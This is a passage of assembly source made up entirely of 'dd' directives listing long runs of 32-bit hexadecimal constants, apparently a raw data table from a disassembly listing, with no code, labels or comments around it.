		dd 11718D23h, 17A48720h, 0BD80D099h, 7148B9D9h,	0EEFB0005h
		dd 878BF83Fh, 0CE0204B3h, 0B86EC867h, 0CCE0806Ah, 0A63ED1C2h
		dd 2FE1F8h, 466ABF03h, 0B0C869E7h, 0AB94850Bh, 7804803Ch
		dd 8F149DA3h, 24FB2090h, 444B0B5Fh, 260B0018h, 53800E8Dh
		dd 8F04F74Ah, 4F56DE6Ah, 0D08056F8h, 62B7D6D9h,	4BBF9900h
		dd 0A5CF524h, 9B470022h, 0B185110Fh, 21E359E2h,	3A42333h
		dd 0D371CE26h, 73590FAh, 21D39DFh, 5DB72E75h, 19B7691Ah
		dd 4088DF8Eh, 8D2B9294h, 23D69C6Dh, 0F1012794h,	730D800Fh
		dd 0D08B105Eh, 0C129BF02h, 6C432874h, 248F26EDh, 0EC366C98h
		dd 0D81E287Eh, 59B514D8h, 0B8AF4BA2h, 0E0CDE6D2h, 17BF1DEAh
		dd 94BD23AFh, 5020A3F4h, 0BCB6691Dh, 0ADC15745h, 5902293Dh
		dd 0F6425D0h, 0CB378E39h, 0B93B81DAh, 22E819F2h, 8835F94Eh
		dd 9082E91h, 0E88D0956h, 2805A74h, 85C7F9E6h, 5D616F1h
		dd 4EC9FE6Ch, 8F4C2015h, 6200828Ah, 0D3353776h,	1AE589FEh
		dd 0C16A5AE9h, 0CA096066h, 6342945Dh, 950E3B39h, 17A2FCD3h
		dd 13ABE030h, 1090E7F8h, 602C514Fh, 4FB105A3h, 0FAE60061h
		dd 0E1853190h, 0B07A4BDh, 3B8EEA9h, 0BF3A5128h,	580DE120h
		dd 0D88016E9h, 9FE06D2Ch, 58E472Ch, 67B21201h, 0A6F042FCh
		dd 0C5BA01FDh, 0A98D8980h, 2A926217h, 976AFC6h,	1E34954h
		dd 680D952Ch, 0B9665081h, 0E139D5A8h, 0EE0192ECh, 0B07BBD70h
		dd 1A21F50Bh, 81007429h, 24CE33E2h, 0B5348D14h,	0CCC93D0h
		dd 57681FC3h, 0C700395Bh, 98977028h, 0C6483E0Ch, 0CF8B0291h
		dd 0A050595Ah, 9BD9EF1Ah, 790C00A9h, 0D4D6A4ADh, 2113C272h
		dd 0D315718h, 68F8105Eh, 0F5A30390h, 0DBEA5501h, 26B54819h
		dd 15218956h, 1BBCF83Ch, 0E89A008Ch, 0D95B4097h, 0BF0023FFh
		dd 1429E654h, 5CD68B90h, 922A350h, 30A381ECh, 0B5D6D62Eh
		dd 0F0A87802h, 219A8212h, 0F40E5C2Ch, 30BB0E05h, 17C3C00Bh
		dd 21D585Ch, 6F1D8878h,	3C70C00h, 5094D5E0h, 0FC6102D7h
		dd 0E87F2DB4h, 6F001CC4h, 4E084197h, 30F36Ch, 36656761h
		dd 0DD99F068h, 91D3D60Ch, 12B50259h, 527BE970h,	8031DB90h
		dd 971527E0h, 563805E7h, 8022B631h, 95096092h, 0C788F94Eh
		dd 6111407Dh, 35B58B26h, 70A4FB49h, 3B00F345h, 15FA05B6h
		dd 133CA06Ch, 9B20468Dh, 0D18E8017h, 940E1EC9h,	845F40DAh
		dd 0F00CCF4h, 18A160B8h, 3A0119B4h, 31416DBDh, 0F02F66BFh
		dd 37C01EAh, 29D36EE5h,	0C1C4A1DBh, 223AD00h, 9547C4E9h
		dd 454C5530h, 55A33009h, 806E8204h, 0CA8A2102h,	97E8CD50h
		dd 0E109B718h, 0D75A318Eh, 35655421h, 9DBC772Dh, 2D738D0Eh
		dd 63A5C7D4h, 5B930114h, 8B41DC84h, 4C223D95h, 0C6000B64h
		dd 0BDF6AA4Fh, 0ECEEEC51h, 7B2B09AFh, 7E623AE9h, 6E8DBE18h
		dd 5387EB00h, 0E418F163h, 80450E6Ah, 6E1B207Eh,	9B8135A6h
		dd 25307CA5h, 91289760h, 3F508914h, 1B8F0F1Eh, 82174DA5h
		dd 6C4BF568h, 140CEA6h,	40CB058Bh, 0E905953h, 5BDECD2h
		dd 0CD10830Fh, 14353E3Ah, 0B908E6ACh, 901205EEh, 4043616h
		dd 0F3102001h, 0EF08C2Bh, 539350FAh, 0E0FBF64Eh, 14F1179h
		dd 0EC144BCFh, 62E99863h, 8C3B019Eh, 1A27FFBDh,	9A962422h
		dd 0A9858055h, 28964DC6h, 4E9C7E1Bh, 0D828928Dh, 95E1A26Dh
		dd 0E1F8D325h, 9631170Eh, 8682C527h, 2BD5A32h, 294084EFh
		dd 0ED123598h, 72E52EC0h, 84A849h, 0CC4470DFh, 0EAE97CFFh
		dd 71DE035Ah, 4D051B80h, 0D00B6D3h, 466F976Dh, 5E80CB8Ah
		dd 0A1185738h, 0C0301A6Dh, 744A3E28h, 605C01ABh, 0E91CF025h
		dd 7B6E35h, 0DDFEBF00h,	6A1C695h, 0B202DEEEh, 97D18003h
		dd 58DC148h, 0CA816610h, 3BEB2512h, 820F7F30h, 9E23DD48h
		dd 70066889h, 80068A84h, 334E125Ch, 8BC01E9Eh, 0BC39A48Eh
		dd 2F544565h, 0FFA9AA04h, 888D961Dh, 7F25F67Fh,	0C00A1A40h
		dd 9C1109DAh, 16FD88DCh, 2C2E8442h, 0A24C1E6h, 6120BB1Ch
		dd 1C71904Bh, 0BA006160h, 421ECC6h, 5FB1702h, 0F203CB2Ch
		dd 10205E21h, 16ED2BA9h, 0B290C4E6h, 0AC5513E1h, 1D8F1D00h
		dd 3C9172h, 2623E1B2h, 60508015h, 615E510Eh, 79BAC75Fh
		dd 9090D817h, 1338EF81h, 177D2F1Dh, 0A21Ch, 0D9D8D231h
		dd 46322CEh, 0B8924E36h, 1494F00Dh, 66524082h, 53F931BAh
		dd 28BD95B4h, 4EFF3B6Ah, 0E315528h, 9C8FD90Bh, 0DC53940h
		dd 8BF09E7Ah, 0A54C3C00h, 901A456h, 123D24BDh, 852940F2h
		dd 0A29D2C1Dh, 50EB157h, 0D574058h, 0A1ABC724h,	15EEF101h
		dd 36FF46B8h, 887FE522h, 0E92C5952h, 6DAF8617h,	2382C13Ah
		dd 100C34C6h, 93E588h, 7F422676h, 0CDC5F905h, 0EB4B4401h
		dd 582ED4E2h, 14BC3E28h
		dd 29F50A8Ch, 8087D9BDh, 50D08A90h, 40EDBEB2h, 0F83E68BDh
		dd 3D1E6A3Fh, 85AE8760h, 0C696572h, 6500230h, 0A3ED0BBFh
		dd 0CC56400Dh, 89C34ACEh, 0FEF7E260h, 0B5896077h, 0C1822F01h
		dd 26BD8C3h, 58AC27E5h,	6A29AB91h, 0D9001D7Bh, 0BF09EA93h
		dd 34098B2Dh, 294AE90Ah, 0F950A4A3h, 0BDCC58B1h, 57105AD1h
		dd 0A6EAD603h, 19CBD57Bh, 0D3D24295h, 3DD57816h, 28017C7Eh
		dd 9E7D143Ah, 629001A8h, 22BA5D16h, 54314880h, 615C1E20h
		dd 8C1BE809h, 9FBF4D03h, 982A726Ch, 55B5094Fh, 0DE9FBC8Dh
		dd 109520F9h, 0A836F1h,	2B1B69EBh, 0BCFF0CE7h, 164B19Ch
		dd 1CF8DFE8h, 0DF9A008Ch, 610CB1B6h, 0B250652Bh, 0E64C1BEh
		dd 0B5F7A87h, 0B3FB610Dh, 9A01470h, 0CDB52950h,	0B95F1FC0h
		dd 43369514h, 1CC61AC0h, 0E019CDC7h, 63D26A1Bh,	5C9BA601h
		dd 1D719D89h, 33515602h, 9187C900h, 0EAFC9A7Fh,	2FE00AAh
		dd 5AF7C780h, 0F958EBE9h, 0EA81000Ah, 48A25D69h, 0C3BE1C68h
		dd 0C860123Ch, 0F1004BB7h, 0AADC6310h, 0FDDB65h, 9B1B399Dh
		dd 5E5758B3h, 0BF665A02h, 78616FD5h, 43BE1359h,	0A240A33Ch
		dd 127D3016h, 0D888D64Bh, 0F70603A9h, 1D90C27Bh, 80F54888h
		dd 5ACBE10Ah, 1F4A36Ah,	9560EC43h, 2A75B66Bh, 122F7F08h
		dd 8BCAC8FFh, 871DBD27h, 4C6E0133h, 0BE952519h,	0D6808258h
		dd 52468B21h, 50EAB102h, 5EEF8A57h, 10E6A52Bh, 6CE9DDE9h
		dd 0B5500DF5h, 51632513h, 8F3114A2h, 1168C2Bh, 273D9510h
		dd 0D586204Bh, 4700B232h, 93CCB86Bh, 8FF90Fh, 980DC3BCh
		dd 0AD49F142h, 5B408CB6h, 12651B7h, 0C98D437Bh,	2A2146C2h
		dd 2E73360Fh, 0F2F3325Ah, 20E8B33h, 0ECCFD369h,	39BD29B4h
		dd 0F1D9929Eh, 456E7F8Eh, 0C5363801h, 7EC08B34h, 0FD01626Eh
		dd 0AB40C783h, 4E7A3B18h, 98599923h, 659BF91Ch,	3B84F78h
		dd 983E8620h, 0A0DE5FDDh, 0E92C9E94h, 425BD61h,	0B1BF8005h
		dd 869C244h, 0E4928B1Ah, 27392F4Fh, 9F9E38C6h, 2B2201D4h
		dd 0B8FF28ECh, 8B888870h, 2244A50Dh, 478CA500h,	2FAE5055h
		dd 1D5A485Fh, 49035A78h, 920918F6h, 84789B7Bh, 0D8561301h
		dd 7A4A049Dh, 0C408AB1Ch, 8070290Fh, 301A782Ah,	0AD04982Eh
		dd 0DAD7838Dh, 0AD19C7EBh, 3DA4612Ch, 0C7B500D4h, 0C3B13792h
		dd 29381D70h, 0B9208002h, 8C181F1h, 0BF236641h,	2AB0F400h
		dd 34C72722h, 49077F00h, 0BA426A6Bh, 0C32C0145h, 16F28147h
		dd 0FC0C8735h, 0D89031FFh, 24915684h, 7B75F1Eh,	0C72462E8h
		dd 0F5E181F7h, 7ECBE849h, 7C769E38h, 0BBFC73Dh,	0C8E8733Bh
		dd 22EF753h, 0DA3AAEF5h, 818216C0h, 5E0034B1h, 0FF1EF81h
		dd 0B291FE7h, 2F7871ABh, 0DAB45702h, 0D2E8018Fh, 1FBA7CF6h
		dd 80899F42h, 8BE15118h, 83125BC1h, 67CC04E9h, 929A9833h
		dd 992A9894h, 124D24D3h, 8840C68Fh, 1D6120h, 3A87C8CDh
		dd 91F276Dh, 57C6AD06h,	100E1Ah, 1006B071h, 0AC7F6794h
		dd 0BAEAF600h, 4505835Fh, 14601211h, 0AD65000Fh, 6DF3E8B7h
		dd 72987F00h, 0F5F9419Ch, 0B6DA00E0h, 16450312h, 1706D2C0h
		dd 53A83A92h, 0F36D0520h, 3CDA4C09h, 1146C720h,	0D6FFBB01h
		dd 80FC1D67h, 0AA5CF130h, 0C7B981Ch, 0B3904309h, 21C00C08h
		dd 86AA44DEh, 61D73C6Eh, 2601113Eh, 0A2140F15h,	91EBE0BBh
		dd 0EDA9F903h, 1808C01Eh, 8813939h, 43009A11h, 8AF12214h
		dd 503D6Ch, 0E51F82ECh,	465634BDh, 5E1CD42Fh, 0A284001Fh
		dd 14BFE278h, 4760D718h, 0C34A4570h, 0B6806D08h, 6D84FC3h
		dd 8600C065h, 0E5F07932h, 50829A51h, 40FC8016h,	0CA301E20h
		dd 0D069104h, 0E4C1C167h, 40F32BD2h, 66D939C4h,	0E87718C2h
		dd 0C6D8A3DAh, 803FDA9Fh, 146D56E4h, 0D1F06039h, 0B180CE9Ch
		dd 23F1760Fh, 8294C1Dh,	0B521C082h, 0AD5F80D6h,	6E4CD201h
		dd 19A645E6h, 10E98887h, 0D1588E43h, 3000B45Fh,	93A4C6D0h
		dd 0CCDCFE69h, 2215A08h, 6C30CC00h, 8FACC69Ah, 49711F29h
		dd 729B4307h, 0E81C500Ch, 0D78C7FC3h, 0DE16Ah, 0E4595219h
		dd 0ECF3FD13h, 10080366h, 2B7321h, 3D198A52h, 4D15A877h
		dd 17D4BC01h, 39825448h, 0B08AF8BEh, 388806B6h,	0E0F4D998h
		dd 6030229Ah, 0C2E47859h, 0A49651CFh, 30DA2C42h, 1811AA58h
		dd 0F5845B98h, 40D200FFh, 7E37EEAAh, 0F73B017Dh, 0C33DC188h
		dd 5052C544h, 1A648480h, 0D05DDB00h, 0E2DEB3CEh, 7BA70E95h
		dd 9C2082EDh, 19701483h, 78D7C808h, 0B41E0044h,	0BAE8762Dh
		dd 0BCC01368h, 5A605DEh, 0C0D40375h, 4B4CF64Fh,	6B250626h
		dd 0C8F5510Dh, 80DDF891h, 9817AA47h, 8CA48CB3h,	0AA4FD100h
		dd 0AECE2521h, 3C0F4870h, 12095610h, 3421844Ch,	38F9E252h
		dd 1811E6F7h, 0D9A892AFh, 418997FEh, 3008CA18h,	73B4C6D2h
		dd 0F830C281h, 0E50097FBh, 81DEB2BFh, 6138643Ch, 0AE8D6945h
		dd 0A4302079h, 0CC232D42h, 5A521A01h, 1BDEEBE4h, 122840F4h
		dd 7783DF52h, 0EB34003Eh, 4560167Ah, 88D01F22h,	8C55B85Ch
		dd 63652D14h, 4862280h,	74D715C8h, 0C0A81945h, 52041618h
		dd 0FD0BE446h, 2C80B837h, 6FA4520Eh, 8A30445h, 0C812C6B0h
		dd 1C408200h, 0C686FEF8h, 8065B2B9h, 0C0F40229h, 311856F1h
		dd 6EC9CD1Fh, 19393D43h, 9907668h, 69AE4A6Fh, 0F233AC02h
		dd 488A3902h, 7DA1C008h, 0ADB7026Ch, 468CD3B3h,	0C775B1C0h
		dd 3FDBBD00h, 0D493E5CEh, 38601883h, 0E48D596Dh, 0B10E50A0h
		dd 0E0D45E31h, 77000F72h, 0E16EF6B8h, 200D29D0h, 0D3D13854h
		dd 0A5E0066h, 0AEF6C1BFh, 16011AB2h, 4C9AB674h,	39DC15E0h
		dd 5669CDB9h, 2942660h,	76CB80D4h, 11853121h, 0A430DCBFh
		dd 0D1F01A0h, 0BAE2F99Ah, 20906583h, 434834E4h,	8C16F840h
		dd 71434801h, 4244D7B3h, 24E2189Eh, 2184086Ch, 1760C144h
		dd 0E4104752h, 19C8FD03h, 520F2D80h, 1BCB4A9h, 0C83FA5DEh
		dd 40648A57h, 43B8D4A4h, 3B0A30B1h, 0A13E649Eh,	80CE1128h
		dd 0E45C521Ch, 10448CFBh, 52140526h, 0C0838661h, 0ECF44C2Fh
		dd 0AFA8DB02h, 49E98D10h, 86F56D7Ch, 0F800AC35h, 55697B7h
		dd 0EA138A9h, 0E27C8826h, 0A9B7806h, 0F0902AC0h, 0FFBA1380h
		dd 596060DBh, 982319AAh, 0E1143h, 0A4AA41D3h, 0A9D65BFh
		dd 7766FC6h, 453F0780h,	4BE4C042h, 26ED10E8h, 30B70B8Ch
		dd 0F0630ACFh, 40FA0571h, 3941E49Ch, 19E3E68Ch,	2B926AEh
		dd 0D8A89197h, 1AAA5A80h, 448C6B98h, 4201DC0Bh,	615A35AAh
		dd 0CAE81B2Eh, 0F3B214E2h, 8201CCFEh, 0C10E5F08h, 0B187F055h
		dd 0A2A463E1h, 4993012h, 0DB171B02h, 0E89C2FF6h, 3E3D2464h
		dd 0F030D56Eh, 7B08BF70h, 64BB1B29h, 2A180D59h,	0A402843Ch
		dd 0CF44244Dh, 5D521D60h, 0C8F3E426h, 152770h, 0C4DFD252h
		dd 45E1AD34h, 1ED7550Eh, 60695AC1h, 885F94ECh, 0AA40ABD2h
		dd 8C995398h, 233016A2h, 6080A65h, 60E8E08Dh, 1A98769Ch
		dd 438FA4Ch, 0DDF3D2C6h, 208648C2h, 878CE25Ah, 7EC40212h
		dd 0C009C7Bh, 0AD496461h, 0A12E4698h, 84093ACDh, 77D840E2h
		dd 46E09813h, 30CB024Eh, 31CCC6D3h, 0C3011057h,	0D6850030h
		dd 0C8F137BFh, 98B93E6Fh, 0F0432B0Ah, 4680DC11h, 4B9816AAh
		dd 0D0C0A891h, 1FDAA4Eh, 0C8D3A7E5h, 3E7E87h, 595E980Bh
		dd 0A85234F7h, 15305AF2h, 777A030Fh, 58047452h,	3A85DEB0h
		dd 0F4A846FAh, 99BB59h,	56180B79h, 78B60801h, 0C798D9A0h
		dd 161A54D8h, 81D01E4h
		dd 0D0C01204h, 4676B780h, 8422C1h, 6880D8B3h, 522EB75Ch
		dd 0DA980A0Bh, 6FC4210Ch, 77033F56h, 960EFEE1h,	383A0A19h
		dd 0D5008423h, 63B04142h, 52E81296h, 0CE4434F8h, 0C0148834h
		dd 2214E38h, 0CADFF807h, 69193E8Fh, 0D218101Ch,	76B58008h
		dd 4083C4D1h, 8980DAB1h, 21C0908Ch, 780D9F87h, 5836A0C9h
		dd 66E0F0F3h, 0BE241CE8h, 5008ACEEh, 0C002828h,	295C0A98h
		dd 0BC15C710h, 42E4E03Dh, 3085E260h, 8831B265h,	531868F2h
		dd 10E2E063h, 9A0430h, 9DB2A527h, 57421E05h, 8358694Ch
		dd 0C939C18Ch, 0C8A48040h, 0A4674ACh, 710E8E38h, 0EC03B05h
		dd 3D061FE2h, 753CA348h, 0A65F1440h, 20F4688h, 76C880D5h
		dd 0BC001C29h, 3FE880DDh, 9BF0DA9h, 39B5A67Eh, 0E71E7001h
		dd 0E84C2C97h, 0AC008C58h, 6175869Ah, 96A0C0Bh,	96E7C2E4h
		dd 60CCD8B3h, 23585218h, 13111BE4h, 52102A0Fh, 0FB5F81C0h
		dd 390C8CA1h, 0A069B198h, 0C9048C4Ch, 0DCC6D530h, 3F0590CEh
		dd 80E130C1h, 0E4524311h, 75D06B02h, 5BFF6069h,	6AB0D398h
		dd 1000CF4Ch, 26AC7E99h, 0C2FEAD1Eh, 6EB68DA0h,	9EED10E0h
		dd 0AC0D758h, 84615395h, 46747024h, 0D51B1D0Ch,	58A07C8Dh
		dd 0E39EBC4Eh, 59A5D000h, 4E240216h, 0AF984420h, 695204A8h
		dd 3881B09Bh, 0C4FBC4C1h, 56625072h, 206BCA59h,	0C8C7329Bh
		dd 0AD082D16h, 5323703Ah, 8866680Ah, 7BB77D40h,	89B3049Dh
		dd 0C3AEF9B8h, 37A89A12h, 3BE014BFh, 0B1029B14h, 2B6E00BCh
		dd 0F7B2E43Eh, 0B090C587h, 0F184A670h, 5F082DD8h, 4520688Dh
		dd 9384A2BEh, 0AC4588Ah, 93FD30FCh, 956800D9h, 4CB89005h
		dd 0C8B9E46Eh, 0DF1812D1h, 0CC08741Dh, 25453145h, 9FCA8001h
		dd 3C3001F2h, 46442A0Ch, 0BA2600CCh, 43643709h,	0E005ADFh
		dd 6C6F3CBFh, 60E38C80h, 0E2102947h, 5164F41Ah,	84CEF8h
		dd 30155C82h, 0B61180CFh, 8788F976h, 80D7B280h,	0F215891Ah
		dd 0C7740056h, 64B37EB8h, 844FBFDAh, 10F4F850h,	7BF397h
		dd 0E534F772h, 50C371F5h, 0BAE2F21Fh, 0C1128BD0h, 1C3C0424h
		dd 0E028F690h, 7440EA4h, 30DDEF78h, 0E8CC5EF8h,	48C11E1h
		dd 76CA80D3h, 209862D9h, 4680DBBEh, 0BBE48400h,	41401B6Fh
		dd 0E58C25F4h, 5428A8A0h, 0C4A1696Ah, 8900CBD7h, 2BF4BF59h
		dd 70AFB8Dh, 0F1D836A8h, 0C0D5D498h, 8BDA0214h,	0FCF0A06Ah
		dd 0C4233C0Ah, 914C1727h, 0D41B8018h, 0C046742Eh, 70E00B89h
		dd 1CB1A88Ch, 491856D9h, 8EBBF107h, 60CE66CEh, 0BCB8B3AEh
		dd 57C00CC3h, 0FF680982h, 0BEC21E13h, 38BFD840h, 58BB54A4h
		dd 0FAE92CF1h, 0EA96130h, 0C716BF6Fh, 816AC9A4h, 12957B0Ch
		dd 84D0634Fh, 0D1101240h, 0EA0051E8h, 30CF393Bh, 3D9E29BEh
		dd 550EF7A7h, 0FBE0E4DCh, 562E1E5Ch, 0B60FAD02h, 4AD559E8h
		dd 0C3A0C030h, 20C4A4F1h, 44182A5Ch, 676807A8h,	0B471C210h
		dd 25C1407Eh, 45AC52ABh, 1130B630h, 8894C6CEh, 80049F59h
		dd 1F0E1630h, 427D81EDh, 0F71472FFh, 0AC3C0A8h,	9F51AFE8h
		dd 0C023F0h, 0D8EBEAC6h, 516428h, 9A473FBCh, 420956F8h
		dd 5B7D430Fh, 418080C2h, 0CB199E2h, 12C31E4Fh, 0C7009B41h
		dd 4C15BC9Dh, 4885E64Ah, 8840063Ah, 0EF7C27C9h,	0B8771CA0h
		dd 0D498012Ah, 929BE319h, 38FC19h, 0D933FABDh, 57309063h
		dd 43CF894h, 0CBC56E29h, 0D720C885h, 5D09C09Bh,	63D304AAh
		dd 880FC0D8h, 0AA1445DFh, 50F0B571h, 49C9FEB7h,	11C09DFCh
		dd 9B818016h, 2C76C513h, 825086B0h, 0A6E6F7Ch, 0E68D8440h
		dd 0E5F44054h, 93C7853Eh, 8C8153D5h, 9050F838h,	5C3A9009h
		dd 0AF0FE8FCh, 0AE06F110h, 651C10F0h, 79F7D6A0h, 0E6A89CD0h
		dd 0E322127Bh, 0C0C801E8h, 22C91E5Fh, 0F4381848h, 78C44659h
		dd 20570033h, 3158B377h, 7130061Eh, 97AE51AFh, 7E8958E2h
		dd 4376F01h, 888ECFD2h,	62F56BA0h, 0C801F876h, 42FC3E53h
		dd 0C0CBB806h, 3AC9CD49h, 7400C75Eh, 3B25532h, 0A5A8E7h
		dd 0E2F94DFFh, 481A858Eh, 0AC014B5Fh, 63D616BCh, 20444193h
		dd 0E94D0D9Ch, 85E28909h, 0BB58EB72h, 663F889Dh, 9A3100FEh
		dd 76AE016Eh, 3892EA98h, 0FF50C003h, 0FA8C40CDh, 0E3C08019h
		dd 0F24138CCh, 614E6FEAh, 0BE329160h, 5E1420C8h, 84D03944h
		dd 69C0E893h, 0BE740A85h, 60EC0050h, 3045347Fh,	6CDE9202h
		dd 909C9D4Ch, 41A2B08Ch, 0C20730E2h, 710C809Ah,	980B7688h
		dd 0A82F627Dh, 660506EEh, 2284D420h, 78BB5807h,	89E14438h
		dd 60BD75F7h, 4983966h,	0A8FC613h, 98FD38C0h, 481C5FE2h
		dd 0C8C04F48h, 46C6D430h, 5422C4h, 9130C03Eh, 0B4D7B066h
		dd 84108A4Bh, 8C5AB824h, 23D8EC14h, 3B9F00C8h, 85C90D4Bh
		dd 9EEA09DDh, 0E0C56914h, 0DE6085C4h, 0D27B1B51h, 0B18FD5Ch
		dd 65716FB6h, 6057E404h, 4F3DB5Ch, 77C8CE64h, 24C89322h
		dd 0B2FC7100h, 3C98AA18h, 6A6C2746h, 0D926B804h, 0E2306258h
		dd 80333019h, 0CE533018h, 7041B0h, 0E3AC4244h, 9323DAE4h
		dd 0F80BAC90h, 4822040Ah, 83F71B94h, 810974D3h,	20729077h
		dd 828FC820h, 18A0D866h, 87881D9Eh, 520C403Ah, 0C076E207h
		dd 66CEAB08h, 7408ACF1h, 388E1809h, 0DA4419F0h,	0FE6FC60Ch
		dd 99593816h, 1817D17Ch, 0ACB20078h, 0C37508BEh, 9DEB1E57h
		dd 2C7CFC50h, 65A50883h, 6008E414h, 12E0D1Eh, 7615E304h
		dd 20F6B6E8h, 9C91B7B0h, 0BC0A9802h, 14CC5031h,	0A04CA6CAh
		dd 0FE23842h, 9FE7C30h,	5BBA6CB6h, 0F6162861h, 0BF70D85Bh
		dd 9821047Dh, 951881Ah,	0B7AC4845h, 0DCBC0037h,	0BA967BFDh
		dd 701CB5A0h, 87253AB0h, 1484066Ch, 5D027492h, 9006B563h
		dd 4E303A92h, 2F409250h, 989D699Eh, 0D1848391h,	2B03A870h
		dd 6A033090h, 1389F4Ch,	0E51339F9h, 2ACD8A3Ch, 0E900B86Eh
		dd 0B0A0E54Eh, 0E8DD1906h, 0B6C684C1h, 432E3B66h, 78A35FF0h
		dd 5C9C1498h, 241B2000h, 4CF69D21h, 16C87886h, 8E33FE47h
		dd 0C0128860h, 7517A5DEh, 3858D502h, 82A489D6h,	126CA0A4h
		dd 550B47Bh, 1CCD58F7h,	6B6A2C72h, 43F40858h, 9FC8CC02h
		dd 7C08C836h, 1BA0C7Ah,	0B2996871h, 0E80C2A01h,	0F29C3020h
		dd 76145EC2h, 0CE009846h, 10399EB4h, 0E000E9A8h, 0C14E7E60h
		dd 1C2487Fh, 0DDE685CFh, 450F33B4h, 905004A0h, 8742485Ch
		dd 419D1D7Ch, 8D99934Ch, 0B11CD461h, 0F763D0h, 0F14565F6h
		dd 0C93B9673h, 705DDF02h, 0E885E16Fh, 0FCE70h, 1ECD45B1h
		dd 74E255B6h, 0B908B333h, 0B1BFD141h, 39C4C0E2h, 2C69C08Eh
		dd 0F25DF38Bh, 55ABC800h, 0ECB6B04Dh, 34500026h, 19DADE81h
		dd 7D1208CAh, 0E4409BE1h, 66D5BF6Eh, 0E89203h, 15CD443Eh
		dd 0D0055FF8h, 717C512h, 565C261Fh, 0A0040B56h,	4C0309EAh
		dd 8100F19Bh, 9FC95176h, 4288AFAh, 0D23C5C1Fh, 9B4CE0FFh
		dd 66CCD702h, 0D16DFE95h, 180DD108h, 729A0B33h,	0F80BA378h
		dd 4EC0146Dh, 29ADFC3h,	547EA4DAh, 35013FCEh, 3428576Dh
		dd 0B2E2DD80h, 200102Bh, 8DD09045h, 0F8F6FFB5h,	0A8BF26C2h
		dd 0F4217C98h, 0EDCA80FFh, 6A5F72A3h, 27C6048h,	32B090F0h
		dd 0FEAC8002h, 1EE5C521h, 2476C4B2h, 24CDC984h,	0F446FC0h
		dd 0D2A6000Bh, 771D05E4h, 61ED7698h, 0A3B1F70Ch, 735C2109h
		dd 127A1258h, 8AE2C890h, 56E58028h, 90518Ah, 7DC1C829h
		dd 0F00030A4h, 645B3320h, 1CA25546h, 8275B623h,	9AB92286h
		dd 5FC48380h, 3B4B8EE2h
		dd 2004C040h, 1ECF27h, 0C2CBD0B7h, 0C67A1CEAh, 0D547FE17h
		dd 0B3EC9601h, 33D5397Eh, 950BAEFCh, 4702E437h,	48707284h
		dd 0D80ED24h, 4B440F14h, 784EF8D9h, 0AFCB9A00h,	7225FF0h
		dd 14DD0927h, 40980806h, 410213CAh, 8C8118CBh, 13C0529Eh
		dd 553277C6h, 1E899848h, 0BE4B865h, 2AFD0067h, 9E0BC24Ch
		dd 0C8C81E29h, 0EF1B18C0h, 25A63C64h, 3C89D7C2h, 38173C6Ah
		dd 0B9810C11h, 811AD7D1h, 946B40E9h, 41F83524h,	2AF20C27h
		dd 21D82925h, 0DA618A07h, 0BA725C22h, 11984817h, 36E92A8Dh
		dd 57C80888h, 9026146h,	21042B0h, 74EADD66h, 0D79D8F9h
		dd 9A255718h, 0F27C90FDh, 5F520121h, 61AFC074h,	1CB0F04Eh
		dd 0D7507E00h, 8EDD2F1Dh, 0C57F3A6Bh, 92176A00h, 39F269D6h
		dd 0F37E804h, 0D8C0F3E1h, 76C8EBDh, 3D8F38BEh, 5C870903h
		dd 0D5F150E3h, 0F3033BC0h, 982564F8h, 52934DDh,	0D5180621h
		dd 2F054927h, 66EA8F1Dh, 6B460280h, 25849710h, 5CD48893h
		dd 0FE96EC00h, 3830790Ch, 8019DE88h, 4324035h, 4AE68798h
		dd 0B3E3E517h, 0F36EC04h, 0F29DC4D1h, 1FD73D10h, 0C8F7BE28h
		dd 8D0A08A6h, 0C81CABE8h, 0D6242h, 7D7AB071h, 88A0A85Ch
		dd 3497A794h, 0AF801291h, 81BCF9DAh, 0B37A1616h, 0E58101BAh
		dd 25B56EC4h, 0B19C2310h, 990CFC0Eh, 67348B13h,	60FF830Fh
		dd 0B65F05A7h, 216133Ch, 2E748498h, 10235Ch, 7A76ED23h
		dd 54E0C2EFh, 1471DB01h, 8698FEB1h, 2660013Eh, 2A3B628Ch
		dd 32CE480Fh, 0C6FD9C21h, 0E7CDF0h, 73A1163Eh, 5B5DC049h
		dd 0DC70D100h, 885F2EF8h, 0CC1A24E3h, 0C8CE82D8h, 0AC62EE6Fh
		dd 83645CC7h, 0A66BF660h, 0FC10450Fh, 24E6926Ch, 405C9E0h
		dd 0DD250D00h, 0A2FFAEA9h, 0F0B04E7h, 0F3E08CCEh, 3DC3DC0h
		dd 0E293ECC6h, 0EBD09897h, 46052B35h, 229803F0h, 0E87C4C24h
		dd 9C0BD516h, 0B2B983Eh, 990200FCh, 5696C592h, 22CC4758h
		dd 0D1009923h, 26FF180Fh, 601CD751h, 35EFD3ACh,	0F985A616h
		dd 844FF004h, 41BB077Bh, 50D0C0FDh, 0B06BBC85h,	0D6B02763h
		dd 45C0480Eh, 0A6DF3E65h, 83E77612h, 24F9CCC4h,	75037EB8h
		dd 0BB31586Fh, 1CD7D896h, 941A25E2h, 0C51EF081h, 0C0C18118h
		dd 0ECD69088h, 9AECFC61h, 0B544FC02h, 1591601Dh, 318F7480h
		dd 0EA17D184h, 4CB1C81h, 0DC099C8h, 9FDDEC6h, 745E33F1h
		dd 0AE71A980h, 4EFD4F9Bh, 0C054888Ch, 2E3B7F4Eh, 31B41E01h
		dd 6896E80Ah, 13C67430h, 0C01FCE8Fh, 2DAE008h, 0D69EE383h
		dd 0C4648599h, 65336083h, 0B09D95C3h, 60FFF408h, 8CC835A8h
		dd 0BA3CE00h, 823C1FAh,	0EF25BB0h, 1AA21F64h, 645629F8h
		dd 4846F88h, 0C8B8FCB0h, 2903FEE4h, 0E1F89F6Ah,	42AF1AEh
		dd 0F890E475h, 5A057601h, 24231805h, 90DD28B0h,	0E4FD1CF0h
		dd 211BEE33h, 0EC0F00F4h, 3BBD3475h, 18F18D60h,	0FC239BCh
		dd 3D60113h, 0E2CE1D60h, 16FCFF25h, 53B0225Dh, 3017B22Ch
		dd 3B040281h, 56743AF8h, 406B24C8h, 1B1A1096h, 60182B4Ch
		dd 828BCF74h, 14283CC9h, 0A0006CA2h, 0EBE7782Eh, 7C00C92Ah
		dd 0A4D6839Ch, 1ECF4Dh,	0C7057A7Bh, 0DDE04FBCh,	8CC30F00h
		dd 594AC83Ch, 1A9BE2D5h, 887F301Ah, 394A744Ch, 0BA956040h
		dd 2384A3h, 0F36754B0h,	16480AD2h, 93D84B0Eh, 2BB2E0DDh
		dd 2C8C758h, 0C298FC2Ah, 44D997F2h, 0AC1858D1h,	8218F600h
